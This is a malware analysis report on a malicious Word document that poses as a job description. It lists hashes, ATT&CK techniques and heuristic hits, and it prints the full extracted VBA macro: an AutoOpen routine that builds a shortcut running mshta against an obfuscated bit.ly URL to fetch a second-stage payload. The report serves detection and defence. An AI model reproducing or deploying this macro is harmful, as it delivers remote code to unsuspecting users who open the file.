Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7446efa798cfa790…

MALICIOUS

Office (OLE)

282.5 KB Created: 2019-01-07 13:11:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: cd0a391331c1d4268bd622080ba68bce SHA-1: da013027c7f534321c940f2047354359d7b32480 SHA-256: 7446efa798cfa7908e78e7fb2bf3ac57486be4d2edea8a798683c949d504dee6
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Word document containing a VBA macro that executes upon opening. The macro utilizes WScript.Shell to create a shortcut file named 'esk.lnk' which, when executed by 'explorer', launches 'mshta.exe' with a URL pointing to 'https://bit.ly/2vwLE0m'. This URL likely hosts a second-stage payload. The document body presents a fake job description to trick the user into opening the malicious file.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        ExPath = "explorer " & LPath
    Set SHH = CreateObject("wscript.shell")
    Set LKO = SHH.CreateShortcut(LPath)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set LKO = SHH.CreateShortcut(LPath)
    LKO.TargetPath = "mshta"
    LKO.Arguments = "ht" & "tps:/" & "/bi" & "t.ly/" & "2vwLE0m"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        On Error Resume Next
    Set FSS = CreateObject("Scripting.FileSystemObject")
    LPath = FSS.GetSpecialFolder(2) & "\esk.l" & "nk"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.blockverify.com In document text (OLE body)
    • https://www.BlockVerify.comIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1259 bytes
SHA-256: 6d2001b75ce7d1fce6725d896b7d82ba81e1515c8dd28d5647515038a0e1c3e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Set FSS = CreateObject("Scripting.FileSystemObject")
    LPath = FSS.GetSpecialFolder(2) & "\esk.l" & "nk"
    ExPath = "explorer " & LPath
    Set SHH = CreateObject("wscript.shell")
    Set LKO = SHH.CreateShortcut(LPath)
    LKO.TargetPath = "mshta"
    LKO.Arguments = "ht" & "tps:/" & "/bi" & "t.ly/" & "2vwLE0m"
    LKO.Save
    SHH.Run ExPath
    ActiveDocument.Content.Font.Color = 0
    ActiveDocument.ActiveWindow.View.Type = wdPrintView
    ActiveDocument.Content.Font.Size = 12
    Dim Splash As Shape
    For Each Splash In ActiveDocument.Shapes
        If Splash.AlternativeText = "G" & "DP" & "R" Then
            Splash.Width = Splash.Height = 0
        End If
    Next Splash
    ActiveDocument.ActiveWindow.View.ShowHiddenText = False
    ActiveDocument.ActiveWindow.View.ReadingLayout = False
    ActiveDocument.Content.Font.Hidden = False
End Sub

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